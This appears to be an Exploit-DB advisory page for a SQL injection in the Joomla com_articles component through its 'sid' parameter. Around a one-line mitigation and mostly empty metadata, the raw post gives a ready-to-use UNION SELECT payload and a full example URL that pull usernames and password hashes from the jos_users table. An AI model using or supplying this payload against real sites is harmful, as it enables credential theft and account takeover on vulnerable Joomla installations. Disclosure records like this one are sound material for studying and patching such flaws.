Joomla Component com_articles SQL Injection Vulnerability

vendor:

N/A

by:

Pratul Agrawal

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Joomla Component com_articles SQL Injection Vulnerability

An attacker can exploit this vulnerability by sending a specially crafted SQL query to the vulnerable parameter 'sid' of the 'com_articles' component. The query will be executed in the backend database, allowing the attacker to access sensitive information such as usernames and passwords.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

                                                        
 
                                          ****************************************************************************                             
                                           
                                                     Joomla Component com_articles SQL Injection Vulnerability

                                          ****************************************************************************


# Vulnerability  :       Joomla Component com_articles SQL Injection Vulnerability

# email          :       Pratulag@yahoo.com

# Author         :       Pratul Agrawal





 

  
************************************************   ExploiT   *******************************************************
  
 [*] Vulnerable File :
  
        http://127.0.0.1/index.php?option=com_articles&task=view_addarticles&sid=[SQL]
  
 [*] ExploiT         :
  
       9999+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10+from+jos_users—
  
 [*] Example         :
  
    http://127.0.0.1/index.php?option=com_articles&task=view_addarticles&sid=9999+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10+from+jos_users—
 
   
********************************************************************************************************************



  # If you have any questions, comments, or concerns, feel free to contact me.



 Quote of the day -  "I'm an excellent housekeeper. Every time I get a divorce, I keep the house." hE He he